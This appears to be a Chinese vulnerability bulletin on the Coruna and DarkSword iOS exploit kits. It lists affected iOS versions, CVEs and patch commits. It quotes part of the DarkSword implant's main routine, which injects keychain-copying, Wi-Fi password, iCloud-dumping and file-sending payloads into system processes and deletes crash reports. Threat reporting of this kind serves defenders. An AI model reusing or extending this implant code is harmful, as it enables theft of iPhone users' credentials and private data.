Iphone漏洞利用工具包 Coruna DarkSword

Coruna iOS 漏洞利用工具包

漏洞描述

Google 威胁情报组(GTIG)识别出名为 "Coruna" 的 iOS 漏洞利用工具包,针对运行 iOS 13.0--17.2.1 的 iPhone,包含 5 条完整利用链与共 23 个漏洞。高级利用采用未公开的利用技术与缓解绕过方法,可根据设备指纹选择合适的 WebKit RCE 漏洞、进行 PAC 绕过,并在链末注入名为 PlasmaLoader(GTIG 标识为 PLASMAGRID)的 Stager 二进制以窃取金融信息(尤其加密货币钱包)。该工具包被用于多个高风险定向行动。

漏洞类型 : 多个(包括 WebKit RCE、WebContent Sandbox Escape、Privilege Escalation、PPL/PAC Bypass 等)
漏洞发布日期 : 2026-03-03(Google Cloud Blog 文章发布日期)
受影响版本 : iOS 13.0 -- 17.2.1
严重性 : 待定(文章未给出 CVSS,基于多项 0-day 推测为高危)
POC/EXP 可用性 : 是(文章提及检索到混淆后的利用代码与有效载荷,但未公开提供)
POC/EXP 发布日期: 待定(部分漏洞如 CVE-2024-23222 已被发现于野外)

参考信息


DarkSword iOS 漏洞利用工具包

漏洞描述

DarkSword 为与 Coruna 相关的 iOS 漏洞利用工具包,通过受感染的合法网站实施水坑攻击,针对 iOS 18.4--18.6.2。恢复出的完整 1-click 链包含 Safari 利用、沙箱逃逸、提权与内存驻留植入程序,全部以 JavaScript 构建,不依赖传统二进制 Mach-O 库,利用系统进程进行数据窃取与外传。

漏洞类型 : 多个(包括 JavaScriptCore JIT RCE、沙箱逃逸、内核提权 等)
漏洞发布日期 : 2026-03-18(iVerify Blog 文章发布日期)
受影响版本 : iOS 18.4 -- 18.6.2(部分漏洞可能影响更广)
严重性 : 待定(未明确 CVSS,基于多项 0-day 推测为高危)
POC/EXP 可用性 : 是(文章包含大量未混淆 JavaScript 代码片段与相关修复提交链接)
POC/EXP 发布日期: 待定

参考信息

POC/EXP 选段(示例代码片段)

  • 植入程序启动函数(pe_main.js 节选) --- 示例如下:
javascript 复制代码
const TAG = "MAIN";
//const targetProcess = "bluetoothd";
const targetProcess = "SpringBoard";
function start() {
    let mutexPtr = null;
    let migFilterBypass = null;
    globalThis.xnuVersion = xnuVersion();
    let ver = globalThis.xnuVersion;
    // If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
    if (ver.major == 24 && ver.minor >= 4) {
        mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100));        libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null);
        migFilterBypass = new MigFilterBypass(mutexPtr);
    }
    let driver = new libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"]();
    libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].init(driver, mutexPtr);
    let resultPE = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].runPE();
    if (!resultPE)
        return;
    libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__["default"].init();
    if(migFilterBypass)
        migFilterBypass.start();
    let launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass);
    if (!launchdTask.success()) {
        return false;
    }    libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].deleteCrashReports();    libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens();
    let agentLoader = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"], migFilterBypass);
    let agentPid = 0;
    if (agentLoader.inject()) {
        agentPid = agentLoader.task.pid(); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentPid);
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess);
        agentLoader.destroy();
    }
    // Inject keychain copier FIRST into securityd (has access to keychain files)
    // This copies keychain/keybag to /tmp with 777 permissions
    const keychainProcess = "configd";
    let keychainCopier = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](keychainProcess, _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_12__["default"], migFilterBypass);
    if (keychainCopier.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(keychainCopier.task);
        keychainCopier.destroy();
    } else {
    }
    // Inject WiFi password dump into wifid (has keychain access for WiFi)
    // Using wifid instead of wifianalyticsd - wifid is always active
    const wifidProcess = "wifid";
    let wifiDump = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](wifidProcess, _raw_loader_wifi_password_dump_js__WEBPACK_IMPORTED_MODULE_13__["default"], migFilterBypass);
    if (wifiDump.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDump.task);
        wifiDump.destroy();
    } else {
    }
    // Also inject WiFi password dump into securityd (fallback for devices where wifid fails)
    const securitydProcess = "securityd";
    let wifiDumpSecurityd = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](securitydProcess, _raw_loader_wifi_password_securityd_js__WEBPACK_IMPORTED_MODULE_14__["default"], migFilterBypass);
    if (wifiDumpSecurityd.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDumpSecurityd.task);
        wifiDumpSecurityd.destroy();
    } else {
    }
    // Inject iCloud dumper into UserEventAgent (has access to iCloud Drive files)
    const userEventAgentProcess = "UserEventAgent";
    let iCloudDumper = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](userEventAgentProcess, _raw_loader_icloud_dumper_js__WEBPACK_IMPORTED_MODULE_15__["default"], migFilterBypass);
    if (iCloudDumper.inject()) {   libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(iCloudDumper.task);
        iCloudDumper.destroy();
    } else {
    }
    // Wait for all dumps to finish
    for (let i = 1; i <= 5; i++) {   libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1);
    }
    // Inject forensics file downloader AFTER keychain copier
    // This will send the copied keychain files from /tmp
    try {
        let fileDownloader = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_file_downloader_js__WEBPACK_IMPORTED_MODULE_11__["default"], migFilterBypass);
        if (fileDownloader.inject()) {       libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(fileDownloader.task);
            fileDownloader.destroy();
        }
    } catch (injectError) {
        // Error handling without logging
    }
    launchdTask.destroy();
    return true;
}
  • 内核内存 hexdump 示例:
javascript 复制代码
function kdump(where, size, msg = "") {
    LOG(`[+] ----------- ${msg} ----------`);
    for (let i = 0n; i < size; i += 0x10n) {
      LOG(`[+] [${i.hex()}] ${(where + i).hex()}:\t${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
    }
}

DarkSword 工具包中涉及的特定漏洞

1) CVE-2025-31277

漏洞描述 : Safari WebContent 进程 JIT RegExp 匹配漏洞,导致任意内存读写(JIT RCE)。
漏洞类型 : JIT RCE(Arbitrary Memory Read/Write)
受影响版本 : iOS 18.4--18.5
修复版本 : 18.6
POC/EXP 可用性 : 是(作为 DarkSword 工具包的一部分,含 WebKit 修复提交)
POC/EXP 发布日期 : 2025-07-29(修复提交日期)

参考链接: https://iverify.io/blog/darksword-ios-exploit-kit-explained

POC/EXP 提交: https://github.com/WebKit/WebKit/commit/716536ce98d6f8d40c44abed667b6a1970023e17

2) CVE-2025-43529

漏洞描述 : Safari WebContent 进程 JIT use-after-free,导致任意内存读写(JIT RCE)。
漏洞类型 : JIT RCE(Use-After-Free)
受影响版本 : iOS 18.6--18.6.2
修复版本 : 26.2, 18.7.3
POC/EXP 可用性 : 是(含 WebKit 修复提交)
POC/EXP 发布日期 : 2025-12-12(修复提交日期)

参考链接: https://iverify.io/blog/darksword-ios-exploit-kit-explained

POC/EXP 提交: https://github.com/WebKit/WebKit/commit/b21a503b579a8ab14c839f82cc77176e507352e5

3) CVE-2026-20700

漏洞描述 : TPRO 与 PAC 绕过,导致任意代码执行(Bypass)。
漏洞类型 : Bypass(Arbitrary Code Execution)
受影响版本 : iOS 18.6
修复版本 : 26.3
POC/EXP 可用性 : 是(含 dyld 修复提交)
POC/EXP 发布日期 : 2026-02-11(修复提交日期)

参考链接: https://iverify.io/blog/darksword-ios-exploit-kit-explained

POC/EXP 提交: https://github.com/apple-oss-distributions/dyld/commit/9b3c6bde0c6d1cb4a13ce7646aed6f74597bcc84

4) CVE-2025-14174

漏洞描述 : 通过 ANGLE 越界写入导致从 Safari WebContent 逃逸到 Safari GPU 进程沙箱(Sandbox Escape / 任意代码执行)。
漏洞类型 : Sandbox Escape(Out-of-Bounds Write)
受影响版本 : iOS 18.6
修复版本 : 26.2, 18.7.3
POC/EXP 可用性 : 是(含 chromium-review 修复提交)
POC/EXP 发布日期 : 2025-12-12(修复提交日期)

参考链接: https://iverify.io/blog/darksword-ios-exploit-kit-explained

POC/EXP 提交: https://chromium-review.googlesource.com/c/angle/angle/+/7232784

5) CVE-2025-43510

漏洞描述 : GPU 进程通过 XNU 内核 Copy-On-Write 问题并利用 AppleM2ScalerCSCDriver 的 selector 1,逃逸至 mediaplaybackd 进程沙箱。
漏洞类型 : Sandbox Escape(Copy-On-Write)
受影响版本 : iOS 18.6
修复版本 : 26.1, 18.7.2
POC/EXP 可用性 : 是(作为 DarkSword 工具包的一部分)
POC/EXP 发布日期 : 2025-12-12(修复提交日期)

参考链接: https://iverify.io/blog/darksword-ios-exploit-kit-explained

6) CVE-2025-43520

漏洞描述 : 内核提权漏洞(Kernel Privilege Escalation)。
漏洞类型 : Kernel Privilege Escalation
受影响版本 : iOS 18.6
修复版本 : 26.1, 18.7.2
POC/EXP 可用性 : 是(作为 DarkSword 工具包的一部分)
POC/EXP 发布日期 : 2025-12-12(修复提交日期)

参考链接: https://iverify.io/blog/darksword-ios-exploit-kit-explained


相关推荐
黑化旺仔5 小时前
【OC】Runtime:类元数据、加载初始化与消息派发
开发语言·macos·ios·objective-c
songgeb5 小时前
iOS App支持设置RTL语言的实践
ios·swift·ui kit
软泡芙6 小时前
【iOS】swift启动屏显示黑屏
ios
用户69371750013848 小时前
当你向领导申请 AI 编程工具预算时,如果领导追问“能提效多少,有量化数据吗”,你该怎么回答?
android·后端·ios
Layer8 小时前
一些脱离 Mac 依赖的 Agent 操作 iPhone 实现
ios·ai编程·测试
用户69371750013849 小时前
当我说 Claude 搭配 GLM-5.3-Flash 太好用了,同事却提醒我:你可能正在失去对代码的掌控
android·后端·ios
2501_916008899 小时前
马甲包过审卡在哪?Ipa Guard 能做的和做不到的
android·小程序·https·uni-app·iphone·webview
茶底世界之下10 小时前
一键裁方会丢掉什么?用 Awaking 给园林照片做两种画幅
ios
Marco_Marco13511 小时前
定位SDK接入实战:Android/iOS/鸿蒙三端怎么选、怎么接
android·ios·harmonyos
老李IT笔记1 天前
关掉设备上的 AI 扩展:两个键各管一层,配错了等于没配
人工智能·ios·智能手机